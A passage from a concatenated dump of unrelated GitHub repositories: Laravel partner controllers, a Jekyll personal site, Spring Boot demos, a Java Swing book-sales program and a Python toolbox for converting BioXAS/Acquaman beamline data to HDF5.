\Illuminate\Http\Response */ public function index(Request $request) { // $report = Report::where("userID", $request->ID)->first(); return response()->json(["servicetype" => $report->servicetype, "addcharge" => $report->addcharge, "status" => $report->status, "totalservice" => $report->totalservice, "DateSubmitted" => $report->datesubmitted],200); } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(Request $request, $id) { // } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { // } } ``` LogsController.php ```<?php namespace App\Http\Controllers\Web\PartnerCompany; use App\Reports; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Illuminate\Support\Facades\Validator; use Illuminate\Support\Facades\DB; use Illuminate\Support\Facades\Auth; use PDF; class LogsController extends Controller { /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function __construct() { $this->middleware('auth:partner'); } public function index() { $getpartner = Auth::user(); $partner = $getpartner->id; $getreports =['partner' => $partner, 'status' => 'Done']; $reports = Reports::where($getreports)->get(); return view ('Partner.TransactionLogs', compact('reports')); } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { // } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(Request $request) { // } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ // public function show($id) // { // $reports = Reports::find($id); // return view('reports.show', compact('reports')); // } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { // } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(Request $request, $id) { // } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { // } public function fullTransactionPDF(){ $getpartner = Auth::user(); $partner = $getpartner->id; $getreports =['partner' => $partner, 'status' => 'Done']; $reports = Reports::where($getreports) ->get(); $pdf = PDF::loadView('FullTransactionPDF', compact('reports')); return view ('Partner.FullTransactionPDF'); //return $pdf->download('TransactionLog.pdf'); //Add date sa loob ng pagdownlaod } } ``` PartnerRegisterController.php ```<?php namespace App\Http\Controllers\Web\PartnerCompany; use App\User; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Illuminate\Support\Facades\Validator; use Illuminate\Support\Facades\DB; use Illuminate\Support\Facades\Auth; use Hash; class PartnerRegisterController extends Controller { // public function register(Request $request) { $validator = Validator::make($request->all(), [ 'FirstName' => 'required' , 'LastName' => 'required' , 'Email' => 'required', 'password' => 'required|min:6', 'CPassword' => 'same:password', 'remember_token', // 'Status', // 'DateCreated' ]); // if ($validator->fails()) { // return response()->to(['error'=>$validator->errors()], 401); // } $input = $request->all(); $partner = new User($input); $partner->password = Hash::make($input['password']); $partner->UserTypeID = 4; $partner->Status = 'Activated'; if($partner->save()){ return view('Partner.home'); } else { return "{Error: failed insert}"; } } } ```
yvrsysadmin/yvrsysadmin.github.io
yvrsysadmin/yvrsysadmin.github.io about.md ```--- layout: page title: About permalink: /about/ --- I am a sysadmin from Vancouver who seemingly cannot remember a damn thing unless I write it down somewhere. this website is the result of me realizing this. ``` 2020-10-17-test-post.markdown ```--- layout: post title: "test post" date: 2020-10-17 12:15:00 -0700 categories: test --- this is a test post ``` jekyll new PLACEHOLDER-USERNAME.github.io cd PLACEHOLDER-USERNAME.github.io git init bundle init git remote add origin https://github.io/PLACEHOLDER-USERNAME/PLACEHOLDER-USERNAME.github.io git add --all git commit -m "reason for the commit" git pull git push -u origin master bundle exec jekyll serve ``` ```
yw-github/java-operator
yw-github/java-operator README.md ```# java-operator ```
ywf1215/abtesting
ywf1215/abtesting README.md ```There are some R scripts used for AB testing.```
ywltxz/springboot
ywltxz/springboot DemoApplication.java ```package com.demohelloworld.demo; import lombok.Data; import lombok.extern.slf4j.Slf4j; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.RestController; @SpringBootApplication @RestController @RequestMapping("/demo") @Slf4j //@RestControllerๆณจ่งฃ๏ผŒ็›ธๅฝ“ไบŽ@Controller+@ResponseBodyไธคไธชๆณจ่งฃ็š„็ป“ๅˆ๏ผŒ่ฟ”ๅ›žjsonๆ•ฐๆฎไธ้œ€่ฆๅœจๆ–นๆณ•ๅ‰้ขๅŠ  //@ResponseBodyๆณจ่งฃไบ†๏ผŒไฝ†ไฝฟ็”จ@RestController่ฟ™ไธชๆณจ่งฃ๏ผŒๅฐฑไธ่ƒฝ่ฟ”ๅ›žjsp,html้กต้ข๏ผŒ่ง†ๅ›พ่งฃๆžๅ™จๆ— ๆณ•่งฃๆžjsp,html้กต้ข public class DemoApplication { public static void main(String[] args) { SpringApplication.run(DemoApplication.class, args); } @RequestMapping("/hello") public String sayHello(@RequestParam(required = false,name = "who")String who){ log.info("this is1"+who); if(who==null || who==""){ log.info("this is2"+who); who="World"; } log.info("this is3"+who); return "Hello,"+who+"!"; } } ``` ApplicationProperty.java ```package com.demoproperty.demoproperty.property; import lombok.Data; //import lombok.Value; import org.springframework.beans.factory.annotation.Value; import org.springframework.boot.context.properties.ConfigurationProperties; import org.springframework.context.annotation.PropertySource; import org.springframework.stereotype.Component; @Data @Component public class ApplicationProperty { @Value("${application.name}") private String name; @Value("${application.version}") private String version; } ``` DemoPropertyApplication.java ```package com.demoproperty.demoproperty; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; @SpringBootApplication public class DemoPropertyApplication { public static void main(String[] args) { SpringApplication.run(DemoPropertyApplication.class, args); } } ``` PropertyController.java ```package com.demoproperty.demoproperty.Controller; import cn.hutool.core.lang.Dict; import com.demoproperty.demoproperty.property.ApplicationProperty; import com.demoproperty.demoproperty.property.DeveloperProperty; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; @RestController public class PropertyController { private ApplicationProperty applicationProperty; private DeveloperProperty developerProperty; @Autowired public PropertyController(ApplicationProperty applicationProperty,DeveloperProperty developerProperty){ this.applicationProperty=applicationProperty; this.developerProperty=developerProperty; } @RequestMapping("/property") public Dict index() { return Dict.create().set("applicationProperty", applicationProperty).set("developerProperty", developerProperty); } } ``` DeveloperProperty.java ```package com.demoproperty.demoproperty.property; import lombok.Data; import org.springframework.boot.context.properties.ConfigurationProperties; import org.springframework.context.annotation.PropertySource; import org.springframework.stereotype.Component; @Data @Component @ConfigurationProperties(prefix = "developer") @PropertySource(value = "classpath:next.properties") public class DeveloperProperty { private String name; private String website; private String qq; private String phoneNumber; } ```
ywyue/Books-Sales-Management-Software
ywyue/Books-Sales-Management-Software README.md ```# Books-Sales-Management-Software An open source book sales management software written by Java. ## About A store sells books. The original information of books (book code, book name, unit price) is placed in the file "Books. txt", and the program is written to count book sales. The initial stock of each book is 100. ## Function * Display sales information through a textArea in the main window. <p align="center"> <img src="./imgs/mainWindow.png" width="500"> </p> * Enter and process each sales situation in the main window. <p align="center"> <img src="./imgs/enterSales.png" width="500"> </p> * Open a frame that displays the information of book stock through a button. <p align="center"> <img src="./imgs/bookStock.png" width="500"> </p> * Open a frame that displays the sales statistics by through a button. <p align="center"> <img src="./imgs/salesStatistics.png" width="500"> </p> * Write sales information to text file and exit the system. <p align="center"> <img src="./imgs/SalesTxt.png" width="500"> </p> ``` BookList.java ```import java.io.*; import java.util.*; public class BookList { public static ArrayList<Pair<Book,Integer>>booklist; static { try{ booklist = new ArrayList<>(); File filename = new File(System.getProperty("user.dir")+"\\Books.txt"); InputStreamReader isr = new InputStreamReader(new FileInputStream(filename)); BufferedReader br = new BufferedReader(isr); String line = br.readLine(); while(true){ String[] putInfo; line = br.readLine(); if(line == null){ break; } putInfo = line.split("\t",3); Book book = new Book(putInfo[0],putInfo[1], Double.parseDouble(putInfo[2])); booklist.add(new Pair<>(book,100)); } br.close(); } catch(Exception e) { e.printStackTrace(); } } public static ArrayList<String> getStockInfo(){ ArrayList<String> list = new ArrayList<>(); for(int i =0;i<booklist.size();i++){ list.add(booklist.get(i).getBook().getID()+"\t"+booklist.get(i).getBook().getName()+"\t"+booklist.get(i).getNum()); } return list; } } ``` SaleList.java ``` import java.util.ArrayList; public class SaleList { public static ArrayList<Sale>salelist = new ArrayList<>(); public static ArrayList<Sale> getSale(String ID){ ArrayList<Sale>list = new ArrayList<>(); for(int i=0;i<salelist.size();i++){ if(salelist.get(i).getBook().getID().equals(ID)){ list.add(salelist.get(i)); } } return list; } public static void addSale(Sale sale){ salelist.add(sale); } } ``` Sale.java ``` public class Sale { private Book book; private String seller; private int count; private int order; public Sale(Book book,String seller,int count,int order){ this.book = book; this.seller = seller; this.count = count; this.order = order; } public Book getBook(){ return book; } public String getSeller(){ return seller; } public int getCount(){ return count; } public int getOrder(){ return order; } public double getTlPrice(){ return book.getPrice()*count; } } ``` PhoneFrame.java ```import java.awt.event.*; import java.util.ArrayList; import javax.swing.*; public class PhoneFrame extends JFrame implements ActionListener { private JButton btOk; private JPanel panel; public JTextArea ta; private JScrollPane sp; ArrayList<String> list; public void go(){ this.setSize(400, 300); this.setLocation(500, 250); this.setTitle("ยฟรขยดรฆ"); btOk = new JButton("OK"); btOk.setBounds(170,220,60, 30);; btOk.addActionListener(this); ta = new JTextArea("รยผรŠรฉยฑร ยบร…\tรƒรปยณร†\tยฟรขยดรฆ",10,10); list = BookList.getStockInfo(); for(int i=0;i<list.size();i++){ ta.setText(ta.getText()+"\r\n"+list.get(i)); } ta.setEditable(false); sp = new JScrollPane(); sp.setViewportView(ta); sp.setBounds(70, 30, 250, 160); panel = new JPanel(); panel.setLayout(null); panel.add(sp); panel.add(btOk); this.add(panel); this.setVisible(true); } @Override public void actionPerformed(ActionEvent e) { if(e.getSource()==btOk){ this.dispose(); } } } ``` Pair.java ``` public class Pair<T1,T2> { private Book book; private int num; public Pair(Book book,int num){ this.book = book; this.num = num; } public Book getBook(){ return book; } public int getNum(){ return num; } } ``` BookSalesFrame.java ```import java.awt.*; import java.awt.event.*; import java.io.File; import java.io.FileOutputStream; import java.io.FilenameFilter; import java.io.PrintStream; import java.util.ArrayList; import javax.swing.*; class BookSalesFrame implements ActionListener { private JFrame mainframe; public JButton btStock; private JButton btSales; private JButton btExit; private JButton btSubmit; private JButton btClear; private JLabel lQuantity; private JLabel lBookid; private JLabel lSeller; private JTextField tQuantity; private JTextField tBookid; private JTextField tSeller; public JTextArea textarea; private JScrollPane scrollpane; private JPanel panel1; private JPanel panel2; private Toolkit toolkit; private Dimension screen; private static int Width; private static int Height; static int salecount = 0; public void go(){ mainframe = new JFrame("ๅ›พไนฆ้”€ๅ”ฎ"); btStock = new JButton("ๆ˜พ็คบๅบ“ๅญ˜ "); btSales = new JButton("้”€ๅ”ฎๅ›พ"); btExit = new JButton("ไฟๅญ˜ๅนถ้€€ๅ‡บ"); btSubmit = new JButton("ๆไบค"); btClear = new JButton("ๆธ…้™ค"); lQuantity = new JLabel("ๆ•ฐ้‡"); lBookid = new JLabel("ๅ›พไนฆ็ผ–ๅท"); lSeller = new JLabel("้”€ๅ”ฎๅ‘˜"); tQuantity = new JTextField("",15); tBookid = new JTextField("",15); tSeller = new JTextField("",15); scrollpane = new JScrollPane(); textarea = new JTextArea("ๅบๅท\t็ผ–ๅท\tไนฆๅ\t้”€ๅ”ฎๅ‘˜\tๆ•ฐ้‡\tๅ•ไปท\tๆ€ปไปท\t",20,70); textarea.setEditable(false); textarea.setLineWrap(true); scrollpane.setViewportView(textarea); panel1 = new JPanel(); panel2 = new JPanel(); toolkit = Toolkit.getDefaultToolkit(); screen = toolkit.getScreenSize(); Width = screen.width/2; Height = (screen.height/3)*2; btStock.addActionListener(this); btSales.addActionListener(this); btExit.addActionListener(this); btSubmit.addActionListener(this); btClear.addActionListener(this); mainframe.setSize(Width,Height); mainframe.setLayout(null); panel1.setSize(Width,Height/5); panel1.setLayout(new FlowLayout(FlowLayout.CENTER,Width/10,Height/20)); panel1.add(btStock); panel1.add(btSales); panel1.add(btExit); scrollpane.setBounds(10,10, Width-20, Height/3+20); panel2.setLayout(null); panel2.add(scrollpane); panel2.setLocation(0,Height/5); panel2.setSize(Width,Height/2); btSubmit.setLocation(Width/5,Height/4*3); btSubmit.setSize(new Dimension(70,30)); btClear.setBounds(Width/5,Height/4*3+50,70,30); lQuantity.setBounds(Width/5*3,Height/4*3,50,25); tQuantity.setBounds(Width/5*3+50,Height/4*3,150,25); lBookid.setBounds(Width/5*3-25,Height/4*3+30,60,25); tBookid.setBounds(Width/5*3+50,Height/4*3+30,150,25); lSeller.setBounds(Width/5*3-13,Height/4*3+60,60,25); tSeller.setBounds(Width/5*3+50,Height/4*3+60,150,25); mainframe.add(panel1); mainframe.add(panel2); mainframe.add(btSubmit); mainframe.add(btClear); mainframe.add(tQuantity); mainframe.add(lQuantity); mainframe.add(lBookid); mainframe.add(tBookid); mainframe.add(lSeller); mainframe.add(tSeller); mainframe.setTitle("ๅ›พไนฆ้”€ๅ”ฎ็ฎก็†็ณป็ปŸ"); mainframe.setLocation(300,150); mainframe.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); mainframe.setResizable(false); mainframe.setVisible(true); } private String saleInfo(String count,String seller,String ID){ String saleInfo = ""; for(int i=0;i<BookList.booklist.size();i++){ Book book = BookList.booklist.get(i).getBook(); if(book.getID().equals(ID)){ int num = BookList.booklist.get(i).getNum()-Integer.parseInt(count); if(Integer.parseInt(count)<0){ JOptionPane.showMessageDialog(mainframe, "ๅ›พไนฆๆ•ฐ้‡ไธ่ƒฝไธบ่ดŸ๏ผ"); } else{ if(num>=0){ saleInfo = "\r\n"; BookList.booklist.set(i, new Pair<>(book,num)); saleInfo +=(++salecount)+"\t"+ ID +"\t"+ book.getName()+"\t"+ seller +"\t" +count +"\t"+book.getPrice()+"\t"+book.getPrice()*Integer.parseInt(count); SaleList.addSale(new Sale(book,seller,Integer.parseInt(count),salecount)); } else { JOptionPane.showMessageDialog(mainframe,"ๅบ“ๅญ˜ไธ่ถณ!"); } } break; } else if(!book.getID().equals(ID)&&i==BookList.booklist.size()-1){ JOptionPane.showMessageDialog(mainframe,"ๆ‚จ่พ“ๅ…ฅ็š„ๅ›พไนฆไธๅญ˜ๅœจ๏ผ"); } } return saleInfo; } private void exit(String filename){ try{ FileOutputStream fos = new FileOutputStream(filename); PrintStream ps = new PrintStream(fos); ps.println("\t\tๅ›พไนฆ้”€ๅ”ฎ็ปŸ่ฎก\t\t"); ps.println("\t============================"); for(int i=0;i<BookList.booklist.size();i++){ int tlCount = 0; double tlPrice = 0; Book book = BookList.booklist.get(i).getBook(); ps.println(book.getID()+" ๅท "+book.getName()+": ๅ•ไปท "+book.getPrice()); ArrayList<Sale>saleInfo = SaleList.getSale(book.getID()); for(int j=0;j<saleInfo.size();j++){ Sale sale = saleInfo.get(j); tlCount += sale.getCount(); tlPrice += sale.getTlPrice(); ps.println("C00"+sale.getOrder()+" "+sale.getSeller()+"\t\t"+sale.getCount()+" @ ๏ฟฅ "+book.getPrice()+" = ๏ฟฅ"+sale.getTlPrice()); } ps.println("============================================"); ps.println("ๆ€ป้”€้‡๏ผš"+tlCount+"\t\t\t๏ฟฅ"+tlPrice); ps.println("============================================"); } ps.close(); } catch(Exception e){ e.printStackTrace(); JOptionPane.showMessageDialog(mainframe, "่ฏทไฟๅญ˜ๆ–‡ไปถ๏ผ"); } } @Override public void actionPerformed(ActionEvent e) { if(e.getSource()==btStock){ PhoneFrame phoneframe = new PhoneFrame(); phoneframe.go(); mainframe.setResizable(false); } if(e.getSource()==btSales){ ChartFrame chartframe = new ChartFrame(); chartframe.setVisible(true); } if(e.getSource()==btExit){ FileDialog savefile = new FileDialog(mainframe,"Save File As",FileDialog.SAVE); savefile.setVisible(true); FilenameFilter fnf = new FilenameFilter(){ @Override public boolean accept(File dir, String name) { if(name!=null&&name.toLowerCase().endsWith(".txt")){ return true; } return false; } }; savefile.setFilenameFilter(fnf); String filename = savefile.getDirectory()+savefile.getFile(); if(!filename.equals(savefile.getDirectory()+null)){ exit(filename); System.exit(0); }else{ JOptionPane.showMessageDialog(mainframe, "ๆ‚จๆœชไฟๅญ˜ๆ–‡ไปถ๏ผ"); } } if(e.getSource()==btSubmit){ if(tQuantity.getText().equals("")||tBookid.getText().equals("")||tSeller.getText().equals("")) { JOptionPane.showMessageDialog(mainframe, "่ฏทๆ‚จๅฐ†ไฟกๆฏๅกซๅ†™ๅฎŒๆ•ด๏ผ"); } else{ textarea.setText(textarea.getText()+saleInfo(tQuantity.getText(),tSeller.getText(),tBookid.getText())); } } if(e.getSource()==btClear){ tQuantity.setText(""); tBookid.setText(""); tSeller.setText(""); } } } ``` ChartFrame.java ```import java.awt.Color; import java.awt.Graphics; import java.awt.Graphics2D; import java.util.ArrayList; import javax.swing.JFrame; public class ChartFrame extends JFrame { public ChartFrame(){ setTitle("้”€ๅ”ฎ็ปŸ่ฎก่กจ"); setBounds(100, 100, 600, 300); setLocation(500,250); setResizable(false); } @Override public void paint(Graphics g) { int Width = getWidth(); int Height = getHeight(); int leftMargin = 20; int topMargin = 50; Graphics2D g2 = (Graphics2D) g; int ruler = Height - topMargin - 5; int rulerStep = ruler / 10; g2.setColor(Color.WHITE); g2.fillRect(0, 0, Width, Height); g2.setColor(Color.BLACK); for (int i = 0; i <= 10; i++) { g2.drawString((100 - 10 * i) +"", 5, topMargin + rulerStep * i); g2.drawLine(5, topMargin + rulerStep * i, Width, topMargin + rulerStep * i); } g2.setColor(Color.BLUE); ArrayList<Pair<Book,Integer>> pairArrayList=getSaleInfo(); for (int i = 0; i < pairArrayList.size(); i++) { Book book=pairArrayList.get(i).getBook(); int value = new Double(pairArrayList.get(i).getNum()/100.0*220).intValue(); int step = (i + 1) * 40; g2.fillRoundRect(leftMargin + step * 2, Height-value-10, 40, value, 40, 10); g2.drawString(book.getID(), leftMargin + step * 2+5, Height - value - 13); } } private ArrayList<Pair<Book,Integer>> getSaleInfo(){ ArrayList<Pair<Book,Integer>> salelist=new ArrayList<>(); for (int i=0;i<BookList.booklist.size();i++){ int count=0; for (int j=0;j< SaleList.salelist.size();j++){ if (SaleList.salelist.get(j).getBook().getID().equals(BookList.booklist.get(i).getBook().getID())){ count+=SaleList.salelist.get(j).getCount(); } } salelist.add(new Pair<>(BookList.booklist.get(i).getBook(),count)); } return salelist; } }``` TestProg.java ``` public class TestProg { public static void main(String[] args){ BookSalesFrame mainframe = new BookSalesFrame(); mainframe.go(); } } ```
yxl1921/ros_class_example1
yxl1921/ros_class_example1 README.md ```# ros_class_example1 learning how to setup. ```
yxrmz/BioXAS_Toolbox
yxrmz/BioXAS_Toolbox fix_double_energy.py ```# -*- coding: utf-8 -*- """ Created on Tue Dec 21 17:46:12 2021 @author: chernir """ import os #dirname = r"D:\BioXAS\testdata" dirname = "." # current dir fixedname = "dEfixed" dEmin = 0.1 # minimal E step in eV for root, dirs, files in os.walk(dirname, topdown=False): for name in files: filepath = os.path.join(root, name) filename = os.path.basename(filepath) baseDirName = os.path.dirname(filepath) if str(baseDirName).endswith(fixedname): continue file1 = open(filepath, 'r') Lines = file1.readlines() file1.close() if not Lines[0].startswith("#"): # not an XAS scan continue newLines = [] Ep = None En = None for tline in Lines: if len(tline) < 2: continue if not str(tline).startswith("#"): fp = tline.split()[0] try: En = float(fp) except: print("Can't convert to float", fp) continue if all([En, Ep]): dE = abs(En-Ep) if dE < dEmin: print("Dropping repeating energy point at", En, "eV") continue else: Ep = En else: Ep = En newLines.append(tline) # print(len(Lines), type(Lines)) fixedDirName = os.path.join(baseDirName, fixedname) if not os.path.exists(fixedDirName): os.mkdir(fixedDirName) file2 = open(os.path.join(fixedDirName, filename), 'w') file2.writelines(newLines) file2.close() # break ``` README.md ```# BioXAS_Toolbox Set of tools to convert/process Acquaman data files. Beamline-independent, works with files recorded at IDEAS, BioXAS, VESPERS. More templates can be added to tje acquamanDataFormats.py. All created in python 3.7, not tested in other incarnations of python3, but might work right away. ## 1. Acquaman CDF converter (acquaman_exporter_sqlite3_DarkCorrection.py) Simple script to export Acquaman raw data files to the HDF5 format. Dark currents corrected columns are added automatically as well as most of the metadata - motor positions, scan regions and so on. Dependencies: spacepy, h5py ### Installation Script uses the CDFlib wrapper included in spacepy, it's necessary to install both the spacepy package and the library dlls. Recommended way to install spacepy is pip: ```Bash pip install spacepy ``` CDF library is available at https://spdf.gsfc.nasa.gov/pub/software/cdf/dist/cdf37_1/windows/ Just download and run the installer for your platform (cdf37_1_0-setup-64.exe for 64-bit Windows) h5py is a python binding for HDF5, once again use pip: ```Bash pip install h5py ``` ### Usage Check out the inline comments in the script, it's simple. In principle, one should define the input and output folders and scan name (the same as automatically exported file). Leaving the percent symbol in the scanNameFiler will make the script export all spectra (may take some time and gigabyte of disk space). Specify the input directory with raw Acquaman data, usually it's something like AcquamanMainData\users\PROJECT\userData, check if it contains the userdata.db file. If the output folder doesn't exist, the script will create it. ## 2. Acquaman HDF Explorer, or just ACHE (AcquamanHDFExplorer.py) GUI-enabled tool for fast analysis and visualisation of the fluorescent spectra previously exported to the HDF5 format. Allows you to inspect the full MCA data in the individual channes, create/modify the ROIs while interactively monitoring the quality of the resulting EXAFS. Uses the live EXAFS extractor created by Vadim Murzin (PETRA III P64) and modified by Konstantin Klementiev (MAX-IV Balder). See https://github.com/vadmu/EXAFS_Monitor This tool is in development, use it at your own risk, but don't hesitate to report bugs and request features. ### Installation Use pip to install the dependencies: ```Bash pip install numpy scipy h5py matplotlib pyqtgraph ``` ### Usage Run the script, the use the directory tree on the left to navigate to your HDF5 files. Double click the file to open it in the viewer (patience, these files are GB-sized). Once the structure is recognized and the data is loaded, the pixel selection table will appear. Slider on top allows to view the MCA maps for individual pixels (channel 0 corresponds to the sum along all enabled channels). All ROIs created in Acquaman for the scan will be present in the ROI table. If no ROI was defined for the scan some arbitrary settings will be used. Red horizontal line will denote the emission peak position, yellow vertical line will be drawn at the absorption edge. Use the matplotlib toolbar to zoom in and out. Default mouse click action (if no tool is enabled in the toolbar) is ROI selection. For better precision use the ROI panel to define the bounds. ![HDF explorer](explorer_main_window.png) EXAFS monitor (opens in separate window) will interactively show the counts (I0, I1, Fluo_in_ROI), mu(E) and even chi(k). Sum over all enabled pixels is used for the fluo curve, therefore you see right away what this or that pixel does with your EXAFS. ![EXAFS_view](exafs_view.png) Once all bad pixels are disabled and the best ROI is identified, it's time to export the result into ASCII. To do that just set the file name and press the button in the Export panel (export status available in the terminal, let me know if you need a visible confirmation). ``` acquamanDataFormats.py ```# -*- coding: utf-8 -*- """ Created on Tue Jan 28 17:23:52 2020 @author: chernir """ format_BioXASMain = {'xaxis': 'AxisValues::', 'I0': 'I0Detector_darkCorrected', 'I1': 'I1Detector_darkCorrected', 'I2': 'I2Detector_darkCorrected', 'I3': 'PIPSDetector_darkCorrected', 'dwellTime': 'ScalerDwellTimeFeedback', 'mcaTotal': ('BioXASMainOutboardDetector', 'BioXASMainInboardDetector'), 'mcaSingle': ('BioXASMainOutboardDetectorRawSpectrum{}', 'BioXASMainInboardDetectorRawSpectrum{}')} format_BioXASSide = {'xaxis': 'AxisValues::', 'I0': 'I0Detector_darkCorrected', 'I1': 'I1Detector_darkCorrected', 'I2': 'I2Detector_darkCorrected', 'I3': 'PIPSDetector_darkCorrected', 'dwellTime': 'ScalerDwellTimeFeedback', 'mcaTotal': ('Ge32Element',), 'mcaSingle': ('Ge32ElementRawSpectrum{}',)} format_IDEAS = {'xaxis': 'AxisValues::', 'I0': 'I_0', 'I1': 'Sample', 'I2': 'Reference', 'dwellTime': 'dwellTime', 'mcaTotal': ('KETEK',)} format_VESPERS = {'xaxis': 'AxisValues::', 'I0': 'SplitIonChamber', 'I1': 'MiniIonChamber', 'I2': 'PostIonChamber', 'I3': 'PreKBIonChamber', 'dwellTime': 'MasterDwellTime', 'mcaTotal': ('FourElementXMapVortex',), 'mcaSingle': ('FourElementVotexRawSpectrum{}',)} dataFormats = {'BioXAS-Main': format_BioXASMain, 'BioXAS-Side': format_BioXASSide, 'IDEAS': format_IDEAS, 'VESPERS': format_VESPERS}``` acquaman_exporter_sqlite3_DarkCorrection.py ```# -*- coding: utf-8 -*- """ Created on Tue Nov 26 13:31:28 2019 @author: chernir """ import os #os.environ["CDF_LIB"] = '/local/dorofel/Software/cdf/lib' from spacepy import pycdf import h5py import numpy as np import sys import os import sqlite3 # Directory must contain the userdata.db file used by Acquaman dirname = r"X:\bioxas-m\AcquamanMainData\users\31-10395\userData" # Output directory. Will be created if not exists outputDir = r"D:\BioXAS\Test_export" # One may convert only the scan with certain names, i.e. "MPE_Nickel%" # Do not specify the ordinal number of the scan here # Use the % wildcard to process all scans scanNameFilter = "%" # Specific scan type can be converted # possible values for BioXAS are # 'BioXASXAS%' for EXAFS/XANES scans # 'AMXRF%' for XRF scans # 'BioXASGeneric%' for generic scans scanTypeFilter = "BioXASXAS%" #dirname = "/local/dorofel/localBeamlineData/BioXAS/bioxas-m/AcquamanMainData/users/30-10721/userData" #outputDir = "/local/dorofel/tmp/HDF5/BioXAS" dbpath = os.path.join(dirname, 'userdata.db') if not os.path.isfile(dbpath): print(f"No such file {dbpath}") exit(1) conn = sqlite3.connect(dbpath) conn.row_factory = sqlite3.Row cursor = conn.cursor() qu = f"""SELECT name, number, filePath, id, scanInitialConditions, scanConfiguration, dateTime, endDateTime FROM AMScan_table WHERE name LIKE '{scanNameFilter}' AND scanConfiguration LIKE '{scanTypeFilter}'""" cursor.execute(qu) rows = cursor.fetchall() # Loop filenames #totalLen = len(rows) for irow, row in enumerate(rows): print(f"Processing record {irow+1} out of {len(rows)}") # Extract session name and date AMsession = {} qu = "SELECT name as session_name, MAX(dateTime) as session_start FROM AMRun_table WHERE dateTime<=?" cursor.execute(qu, (row['dateTime'],)) sess = cursor.fetchone() if sess: AMsession.update({k: sess[k] for k in sess.keys()}) DCdict = {} ROIdict = {} BCdict = {} SRdict = {} ELdict = {} for k in row.keys(): print(f"{k}: {row[k]}") cdfPath = os.path.join(dirname, row['filePath']) scanid = (row['id'],) # Extract dark currents # qu_dc = """SELECT dataName, darkCurrent, timeUnitMultiplier FROM AM1DDarkCurrentCorrectionAB_table # JOIN AMScan_table_analyzedDataSources ON AMScan_table_analyzedDataSources.id2=AM1DDarkCurrentCorrectionAB_table.id # WHERE table2='AM1DDarkCurrentCorrectionAB_table' AND id1 LIKE ?""" qu_dc = """SELECT dataName, darkCurrent, timeUnitMultiplier FROM AM1DDarkCurrentCorrectionAB_table, AMScan_table_analyzedDataSources WHERE table2='AM1DDarkCurrentCorrectionAB_table' AND AMScan_table_analyzedDataSources.id2=AM1DDarkCurrentCorrectionAB_table.id AND id1 LIKE ?""" for dcrow in cursor.execute(qu_dc, scanid): DCdict[dcrow['dataName']] = (dcrow['darkCurrent'], dcrow['timeUnitMultiplier']) # Extract ROI info # qu_roi = """SELECT AMRegionOfInterestAB_table.name as roi_name, # binningRangeLowerBound, binningRangeUpperBound FROM AMRegionOfInterestAB_table # JOIN AMScan_table_analyzedDataSources ON AMScan_table_analyzedDataSources.id2=AMRegionOfInterestAB_table.id # WHERE table2='AMRegionOfInterestAB_table' AND id1=?""" # qu_roi = """SELECT DISTINCT AMRegionOfInterestAB_table.name as roi_name, # binningRangeLowerBound, binningRangeUpperBound, AMRegionOfInterest_table.energy FROM AMRegionOfInterestAB_table, # AMRegionOfInterest_table, AMScan_table_analyzedDataSources WHERE AMRegionOfInterestAB_table.id=AMScan_table_analyzedDataSources.id2 AND # AMRegionOfInterest_table.id=AMRegionOfInterestAB_table.id1 AND AMScan_table_analyzedDataSources.id1=?""" qu_roi = """SELECT DISTINCT AMRegionOfInterestAB_table.name as roi_name, binningRangeLowerBound, binningRangeUpperBound FROM AMRegionOfInterestAB_table, AMScan_table_analyzedDataSources WHERE AMRegionOfInterestAB_table.id=AMScan_table_analyzedDataSources.id2 AND AMScan_table_analyzedDataSources.id1=?""" for roirow in cursor.execute(qu_roi, scanid): ROIdict[roirow['roi_name']] = (roirow['binningRangeLowerBound'], roirow['binningRangeUpperBound']) exclude_keys = ['id', 'name', 'AMDbObjectType', 'thumbnailCount', 'thumbnailFirstId'] exclude_values = [None, ''] # Extract beamline configuration table1, idx1 = row['scanInitialConditions'].split(';') query_params = (idx1, table1) qu_bc = """SELECT AMControlInfo_table.* FROM AMControlInfo_table JOIN AMControlInfoList_table_controlInfos ON AMControlInfo_table.id=AMControlInfoList_table_controlInfos.id2 WHERE AMControlInfoList_table_controlInfos.id1=? AND AMControlInfoList_table_controlInfos.table1=?""" for row1 in cursor.execute(qu_bc, query_params): ctrl_name = row1['name'] BCdict[ctrl_name] = {} for k1 in row1.keys(): if k1 not in exclude_keys: if row1[k1] not in exclude_values: BCdict[ctrl_name].update({k1: row1[k1]}) # Extract scan regions table2, idx2 = row['scanConfiguration'].split(';') query_params = (idx2, table2) qu_sr = "SELECT AMScanAxis_table_axisRegions.id2, AMScanAxis_table_axisRegions.table2" qu_sr += f" FROM AMScanAxis_table_axisRegions JOIN {table2}_scanAxes ON" qu_sr += f" {table2}_scanAxes.id2=AMScanAxis_table_axisRegions.id1" qu_sr += f" WHERE {table2}_scanAxes.id1=? AND {table2}_scanAxes.table1=?" try: cursor.execute(qu_sr, query_params) rows1 = cursor.fetchall() for row1 in rows1: params2 = (row1['id2'],) qu = f"SELECT * FROM {row1['table2']} 